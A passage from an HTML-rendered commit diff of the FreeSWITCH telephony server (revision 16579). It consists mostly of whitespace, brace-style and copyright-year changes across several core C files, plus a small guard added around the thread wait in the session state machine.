</ins><span class="cx">         if (sql_manager.thread &amp;&amp; sql_manager.thread_running) {
</span><span class="cx"> 
</span><span class="cx">                 if (sql_manager.manage) {
</span><span class="lines">@@ -1425,9 +1394,9 @@
</span><span class="cx">         char cleankey_str[CACHE_DB_LEN];
</span><span class="cx">         char *pos1 = NULL;
</span><span class="cx">         char *pos2 = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                 key = (char *) var;
</span><span class="lines">@@ -1437,7 +1406,7 @@
</span><span class="cx">                         time_t diff = 0;
</span><span class="cx"> 
</span><span class="cx">                         diff = now - dbh-&gt;last_used;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_mutex_trylock(dbh-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_mutex_unlock(dbh-&gt;mutex);
</span><span class="cx">                                 locked = SWITCH_FALSE;
</span><span class="lines">@@ -1449,19 +1418,17 @@
</span><span class="cx">                         memset(cleankey_str, 0, sizeof(cleankey_str));
</span><span class="cx">                         pos1 = strstr(key, needle) + strlen(needle);
</span><span class="cx">                         pos2 = strstr(pos1, &quot;\&quot;&quot;);
</span><del>-                        strncpy(cleankey_str, key, pos1-key);
-                        strcpy(&amp;cleankey_str[pos1-key], pos2);
-                        
-                        
</del><ins>+                        strncpy(cleankey_str, key, pos1 - key);
+                        strcpy(&amp;cleankey_str[pos1 - key], pos2);
+
+
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;%s\n\tType: %s\n\tLast used: %d\n\tFlags: %s, %s\n&quot;
</span><del>-                                                                                        &quot;\tCreator: %s\n\tLast User: %s\n&quot;,
-                                cleankey_str,
-                                switch_cache_db_type_name(dbh-&gt;type),
-                                diff,
-                                locked ? &quot;Locked&quot; : &quot;Unlocked&quot;,
-                                switch_test_flag(dbh, CDF_INUSE) ? &quot;Attached&quot; : &quot;Detached&quot;,
-                                dbh-&gt;creator,
-                                dbh-&gt;last_user);
</del><ins>+                                                                   &quot;\tCreator: %s\n\tLast User: %s\n&quot;,
+                                                                   cleankey_str,
+                                                                   switch_cache_db_type_name(dbh-&gt;type),
+                                                                   diff,
+                                                                   locked ? &quot;Locked&quot; : &quot;Unlocked&quot;,
+                                                                   switch_test_flag(dbh, CDF_INUSE) ? &quot;Attached&quot; : &quot;Detached&quot;, dbh-&gt;creator, dbh-&gt;last_user);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_state_machinec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_state_machine.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_state_machine.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_state_machine.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -57,8 +57,7 @@
</span><span class="cx"> static void switch_core_standard_on_destroy(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Standard DESTROY\n&quot;,
-                                          switch_channel_get_name(session-&gt;channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Standard DESTROY\n&quot;, switch_channel_get_name(session-&gt;channel));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void switch_core_standard_on_reset(switch_core_session_t *session)
</span><span class="lines">@@ -77,11 +76,9 @@
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Standard ROUTING\n&quot;, switch_channel_get_name(session-&gt;channel));
</span><span class="cx"> 
</span><del>-        if (
-                (switch_channel_test_flag(session-&gt;channel, CF_ANSWERED) || 
</del><ins>+        if ((switch_channel_test_flag(session-&gt;channel, CF_ANSWERED) ||
</ins><span class="cx">                  switch_channel_test_flag(session-&gt;channel, CF_EARLY_MEDIA) ||
</span><del>-                 switch_channel_test_flag(session-&gt;channel, CF_SIGNAL_BRIDGE_TTL)) &amp;&amp; 
-                switch_channel_test_flag(session-&gt;channel, CF_PROXY_MODE)) {
</del><ins>+                 switch_channel_test_flag(session-&gt;channel, CF_SIGNAL_BRIDGE_TTL)) &amp;&amp; switch_channel_test_flag(session-&gt;channel, CF_PROXY_MODE)) {
</ins><span class="cx">                 switch_ivr_media(session-&gt;uuid_str, SMF_NONE);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -100,7 +97,7 @@
</span><span class="cx">                                 for (x = 0; x &lt; argc; x++) {
</span><span class="cx">                                         char *dpname = dp[x];
</span><span class="cx">                                         char *dparg = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dpname) {
</span><span class="cx">                                                 if ((dparg = strchr(dpname, ':'))) {
</span><span class="cx">                                                         *dparg++ = '\0';
</span><span class="lines">@@ -111,12 +108,12 @@
</span><span class="cx">                                         if (!(dialplan_interface = switch_loadable_module_get_dialplan_interface(dpname))) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         count++;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         extension = dialplan_interface-&gt;hunt_function(session, dparg, NULL);
</span><span class="cx">                                         UNPROTECT_INTERFACE(dialplan_interface);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (extension) {
</span><span class="cx">                                                 switch_channel_set_caller_extension(session-&gt;channel, extension);
</span><span class="cx">                                                 switch_channel_set_state(session-&gt;channel, CS_EXECUTE);
</span><span class="lines">@@ -129,7 +126,8 @@
</span><span class="cx">                 if (!count) {
</span><span class="cx">                         if (switch_channel_test_flag(session-&gt;channel, CF_OUTBOUND)) {
</span><span class="cx">                                 if (switch_channel_test_flag(session-&gt;channel, CF_ANSWERED)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;No Dialplan on answered channel, changing state to HANGUP\n&quot;);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                          &quot;No Dialplan on answered channel, changing state to HANGUP\n&quot;);
</ins><span class="cx">                                         switch_channel_hangup(session-&gt;channel, SWITCH_CAUSE_NO_ROUTE_DESTINATION);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;No Dialplan, changing state to CONSUME_MEDIA\n&quot;);
</span><span class="lines">@@ -180,11 +178,11 @@
</span><span class="cx">                 if (switch_channel_test_flag(session-&gt;channel, CF_RESET)) {
</span><span class="cx">                         goto top;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_channel_ready(session-&gt;channel) &amp;&amp; switch_channel_get_state(session-&gt;channel) == CS_EXECUTE) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;%s has executed the last dialplan instruction, hanging up.\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;%s has executed the last dialplan instruction, hanging up.\n&quot;,
</ins><span class="cx">                                                   switch_channel_get_name(session-&gt;channel));
</span><span class="cx">                 switch_channel_hangup(session-&gt;channel, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">         }
</span><span class="lines">@@ -305,25 +303,25 @@
</span><span class="cx">         while ((state = switch_channel_get_state(session-&gt;channel)) != CS_DESTROY) {
</span><span class="cx"> 
</span><span class="cx">                 switch_channel_wait_for_flag(session-&gt;channel, CF_BLOCK_STATE, SWITCH_FALSE, 0, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 midstate = state;
</span><span class="cx">                 if (state != switch_channel_get_running_state(session-&gt;channel) || state &gt;= CS_HANGUP) {
</span><span class="cx">                         int index = 0;
</span><span class="cx">                         int proceed = 1;
</span><span class="cx">                         int global_proceed = 1;
</span><span class="cx">                         int do_extra_handlers = 1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_set_running_state(session-&gt;channel, state);
</span><span class="cx">                         switch_channel_clear_flag(session-&gt;channel, CF_TRANSFER);
</span><span class="cx">                         switch_channel_clear_flag(session-&gt;channel, CF_REDIRECT);
</span><span class="cx"> 
</span><span class="cx">                         switch (state) {
</span><del>-                        case CS_NEW: /* Just created, Waiting for first instructions */
</del><ins>+                        case CS_NEW:                /* Just created, Waiting for first instructions */
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;(%s) State NEW\n&quot;, switch_channel_get_name(session-&gt;channel));
</span><span class="cx">                                 break;
</span><span class="cx">                         case CS_DESTROY:
</span><span class="cx">                                 goto done;
</span><del>-                        case CS_REPORTING: /* Call Detail */
</del><ins>+                        case CS_REPORTING:        /* Call Detail */
</ins><span class="cx">                                 {
</span><span class="cx">                                         switch_core_session_reporting_state(session);
</span><span class="cx">                                         switch_channel_set_state(session-&gt;channel, CS_DESTROY);
</span><span class="lines">@@ -331,7 +329,7 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         case CS_HANGUP:        /* Deactivate and end the thread */
</span><span class="cx">                                 {
</span><del>-                                        switch_core_session_hangup_state(session, SWITCH_TRUE);                                
</del><ins>+                                        switch_core_session_hangup_state(session, SWITCH_TRUE);
</ins><span class="cx">                                         switch_channel_set_state(session-&gt;channel, CS_REPORTING);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -381,21 +379,26 @@
</span><span class="cx">                         if (endstate == CS_NEW) {
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                                 if (!--new_loops) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;%s Timeout waiting for next instruction in CS_NEW!\n&quot;, session-&gt;uuid_str);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;%s Timeout waiting for next instruction in CS_NEW!\n&quot;,
+                                                                          session-&gt;uuid_str);
</ins><span class="cx">                                         switch_channel_hangup(session-&gt;channel, SWITCH_CAUSE_INVALID_CALL_REFERENCE);
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_core_session_message_t *message;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 while (switch_core_session_dequeue_message(session, &amp;message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_core_session_receive_message(session, message);
</span><span class="cx">                                         message = NULL;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                switch_channel_set_flag(session-&gt;channel, CF_THREAD_SLEEPING);
-                                switch_thread_cond_wait(session-&gt;cond, session-&gt;mutex);
-                                switch_channel_clear_flag(session-&gt;channel, CF_THREAD_SLEEPING);
-                                
</del><ins>+                                if (switch_channel_get_state(session-&gt;channel) == switch_channel_get_running_state(session-&gt;channel)) {
+                                        switch_channel_set_flag(session-&gt;channel, CF_THREAD_SLEEPING);
+                                        if (switch_channel_get_state(session-&gt;channel) == switch_channel_get_running_state(session-&gt;channel)) {
+                                                switch_thread_cond_wait(session-&gt;cond, session-&gt;mutex);
+                                        }
+                                        switch_channel_clear_flag(session-&gt;channel, CF_THREAD_SLEEPING);
+                                }
+
</ins><span class="cx">                                 while (switch_core_session_dequeue_message(session, &amp;message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_core_session_receive_message(session, message);
</span><span class="cx">                                         message = NULL;
</span><span class="lines">@@ -432,7 +435,7 @@
</span><span class="cx"> 
</span><span class="cx">         driver_state_handler = endpoint_interface-&gt;state_handler;
</span><span class="cx">         switch_assert(driver_state_handler != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         STATE_MACRO(destroy, &quot;DESTROY&quot;);
</span><span class="cx"> 
</span><span class="cx">         return;
</span><span class="lines">@@ -456,14 +459,14 @@
</span><span class="cx">         const switch_state_handler_table_t *driver_state_handler = NULL;
</span><span class="cx">         const switch_state_handler_table_t *application_state_handler = NULL;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!force) {
</span><span class="cx">                 if (!switch_channel_test_flag(session-&gt;channel, CF_EARLY_HANGUP) &amp;&amp; !switch_test_flag((&amp;runtime), SCF_EARLY_HANGUP)) {
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (switch_thread_self() != session-&gt;thread_id) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, &quot;%s thread mismatch skipping state handler.\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, &quot;%s thread mismatch skipping state handler.\n&quot;,
</ins><span class="cx">                                                           switch_channel_get_name(session-&gt;channel));
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="lines">@@ -484,15 +487,15 @@
</span><span class="cx">         switch_channel_set_hangup_time(session-&gt;channel);
</span><span class="cx"> 
</span><span class="cx">         switch_core_media_bug_remove_all(session);
</span><del>-                                
</del><ins>+
</ins><span class="cx">         switch_channel_stop_broadcast(session-&gt;channel);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         switch_channel_set_variable(session-&gt;channel, &quot;hangup_cause&quot;, switch_channel_cause2str(cause));
</span><span class="cx">         switch_channel_set_variable_printf(session-&gt;channel, &quot;hangup_cause_q850&quot;, &quot;%d&quot;, cause_q850);
</span><span class="cx">         switch_channel_presence(session-&gt;channel, &quot;unknown&quot;, switch_channel_cause2str(cause), NULL);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         switch_channel_set_timestamps(session-&gt;channel);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         STATE_MACRO(hangup, &quot;HANGUP&quot;);
</span><span class="cx"> 
</span><span class="cx">         hook_var = switch_channel_get_variable(session-&gt;channel, SWITCH_API_HANGUP_HOOK_VARIABLE);
</span><span class="lines">@@ -505,8 +508,8 @@
</span><span class="cx">                 char *cmd = switch_core_session_strdup(session, hook_var);
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx">                 char *expanded = NULL;
</span><del>-                                                
-                if ((arg = strchr(cmd, ':')) &amp;&amp; *(arg+1) == ':') {
</del><ins>+
+                if ((arg = strchr(cmd, ':')) &amp;&amp; *(arg + 1) == ':') {
</ins><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                 } else {
</span><span class="lines">@@ -516,13 +519,13 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 switch_channel_get_variables(session-&gt;channel, &amp;stream.param_event);
</span><span class="cx">                 switch_channel_event_set_data(session-&gt;channel, stream.param_event);
</span><span class="cx">                 expanded = switch_channel_expand_variables(session-&gt;channel, arg);
</span><span class="cx"> 
</span><span class="cx">                 switch_api_execute(cmd, expanded, use_session, &amp;stream);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Hangup Command %s(%s):\n%s\n&quot;, cmd, switch_str_nil(expanded),
</span><span class="cx">                                                   switch_str_nil((char *) stream.data));
</span><span class="cx"> 
</span><span class="lines">@@ -539,7 +542,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_set_flag(session, SSF_HANGUP);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_reporting_state(switch_core_session_t *session)
</span><span class="lines">@@ -560,7 +563,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_flag(session-&gt;channel, CF_REPORTING);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session != NULL);
</span><span class="cx"> 
</span><span class="cx">         session-&gt;thread_running = 1;
</span><span class="lines">@@ -569,7 +572,7 @@
</span><span class="cx"> 
</span><span class="cx">         driver_state_handler = endpoint_interface-&gt;state_handler;
</span><span class="cx">         switch_assert(driver_state_handler != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(var)) {
</span><span class="cx">                 if (!strcasecmp(var, &quot;a_only&quot;)) {
</span><span class="cx">                         if (switch_channel_get_originator_caller_profile(session-&gt;channel)) {
</span><span class="lines">@@ -585,7 +588,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         STATE_MACRO(reporting, &quot;REPORTING&quot;);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_timerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_timer.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_timer.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_timer.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_cppcpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_cpp.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_cpp.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_cpp.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_dsoc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_dso.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_dso.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_dso.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -24,16 +24,18 @@
</span><span class="cx"> 
</span><span class="cx"> #ifdef WIN32
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib) {
</del><ins>+SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib)
+{
</ins><span class="cx">         if (lib &amp;&amp; *lib) {
</span><span class="cx">                 FreeLibrary(*lib);
</span><span class="cx">                 *lib = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err) {
-    HINSTANCE lib;
-        
</del><ins>+SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err)
+{
+        HINSTANCE lib;
+
</ins><span class="cx">         lib = LoadLibraryEx(path, NULL, 0);
</span><span class="cx"> 
</span><span class="cx">         if (!lib) {
</span><span class="lines">@@ -48,22 +50,24 @@
</span><span class="cx">         return lib;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         FARPROC func = GetProcAddress(lib, sym);
</span><span class="cx">         if (!func) {
</span><span class="cx">                 DWORD error = GetLastError();
</span><span class="cx">                 *err = switch_mprintf(&quot;dll sym error [%ul]\n&quot;, error);
</span><span class="cx">         }
</span><del>-        return (switch_dso_func_t)func;
</del><ins>+        return (switch_dso_func_t) func;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         FARPROC addr = GetProcAddress(lib, sym);
</span><span class="cx">         if (!addr) {
</span><span class="cx">                 DWORD error = GetLastError();
</span><span class="cx">                 *err = switch_mprintf(&quot;dll sym error [%ul]\n&quot;, error);
</span><span class="cx">         }
</span><del>-        return (void *)(intptr_t)addr;
</del><ins>+        return (void *) (intptr_t) addr;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -80,16 +84,18 @@
</span><span class="cx"> 
</span><span class="cx"> #include &lt;dlfcn.h&gt;
</span><span class="cx"> 
</span><del>-void switch_dso_destroy(switch_dso_lib_t *lib) {
</del><ins>+void switch_dso_destroy(switch_dso_lib_t *lib)
+{
</ins><span class="cx">         if (lib &amp;&amp; *lib) {
</span><span class="cx">                 dlclose(*lib);
</span><span class="cx">                 *lib = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_dso_lib_t switch_dso_open(const char *path, int global, char **err) {
</del><ins>+switch_dso_lib_t switch_dso_open(const char *path, int global, char **err)
+{
</ins><span class="cx">         void *lib;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (global) {
</span><span class="cx">                 lib = dlopen(path, RTLD_NOW | RTLD_GLOBAL);
</span><span class="cx">         } else {
</span><span class="lines">@@ -108,15 +114,17 @@
</span><span class="cx">         return lib;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         void *func = dlsym(lib, sym);
</span><span class="cx">         if (!func) {
</span><span class="cx">                 *err = strdup(dlerror());
</span><span class="cx">         }
</span><del>-        return (switch_dso_func_t)(intptr_t)func;
</del><ins>+        return (switch_dso_func_t) (intptr_t) func;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         void *addr = dlsym(lib, sym);
</span><span class="cx">         if (!addr) {
</span><span class="cx">                 *err = strdup(dlerror());
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_eventc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_event.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_event.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_event.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -193,15 +193,15 @@
</span><span class="cx"> static int switch_events_match(switch_event_t *event, switch_event_node_t *node)
</span><span class="cx"> {
</span><span class="cx">         int match = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (node-&gt;event_id == SWITCH_EVENT_ALL) {
</span><span class="cx">                 match++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!node-&gt;subclass) {
</span><span class="cx">                         return match;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (match || event-&gt;event_id == node-&gt;event_id) {
</span><span class="cx"> 
</span><span class="cx">                 if (event-&gt;subclass_name &amp;&amp; node-&gt;subclass) {
</span><span class="lines">@@ -349,7 +349,7 @@
</span><span class="cx">                                         node-&gt;callback(*event);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (e == SWITCH_EVENT_ALL) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -412,20 +412,20 @@
</span><span class="cx">                         subclass-&gt;bind = 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_event_reserve_subclass_detailed(const char *owner, const char *subclass_name)
</span><span class="cx"> {
</span><span class="cx">         switch_event_subclass_t *subclass;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(RUNTIME_POOL != NULL);
</span><span class="cx">         switch_assert(CUSTOM_HASH != NULL);
</span><span class="cx"> 
</span><span class="cx">         if ((subclass = switch_core_hash_find(CUSTOM_HASH, subclass_name))) {
</span><span class="cx">                 /* a listener reserved it for us, now we can lock it so nobody else can have it */
</span><del>-                if (subclass-&gt;bind) { 
</del><ins>+                if (subclass-&gt;bind) {
</ins><span class="cx">                         subclass-&gt;bind = 0;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -436,7 +436,7 @@
</span><span class="cx"> 
</span><span class="cx">         subclass-&gt;owner = DUP(owner);
</span><span class="cx">         subclass-&gt;name = DUP(subclass_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_insert(CUSTOM_HASH, subclass-&gt;name, subclass);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -473,7 +473,7 @@
</span><span class="cx">         int last = 0;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
</del><ins>+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(EVENT_QUEUE_MUTEX);
</span><span class="cx">         SYSTEM_RUNNING = 0;
</span><span class="lines">@@ -498,10 +498,10 @@
</span><span class="cx">                 }
</span><span class="cx">                 last = THREAD_COUNT;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x &lt; SOFT_MAX_DISPATCH; x++) {
</span><span class="cx">                 void *pop = NULL;
</span><del>-        switch_event_t *event = NULL;
</del><ins>+                switch_event_t *event = NULL;
</ins><span class="cx">                 switch_status_t st;
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Stopping dispatch thread %d\n&quot;, x);
</span><span class="lines">@@ -510,12 +510,12 @@
</span><span class="cx">                 while (switch_queue_trypop(EVENT_DISPATCH_QUEUE[x], &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><span class="cx">                         event = (switch_event_t *) pop;
</span><span class="cx">                         switch_event_destroy(&amp;event);
</span><del>-        }
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; NUMBER_OF_QUEUES; x++) {
</span><span class="cx">                 void *pop = NULL;
</span><del>-        switch_event_t *event = NULL;
</del><ins>+                switch_event_t *event = NULL;
</ins><span class="cx">                 switch_status_t st;
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Stopping queue thread %d\n&quot;, x);
</span><span class="lines">@@ -524,9 +524,9 @@
</span><span class="cx">                 while (switch_queue_trypop(EVENT_QUEUE[x], &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><span class="cx">                         event = (switch_event_t *) pop;
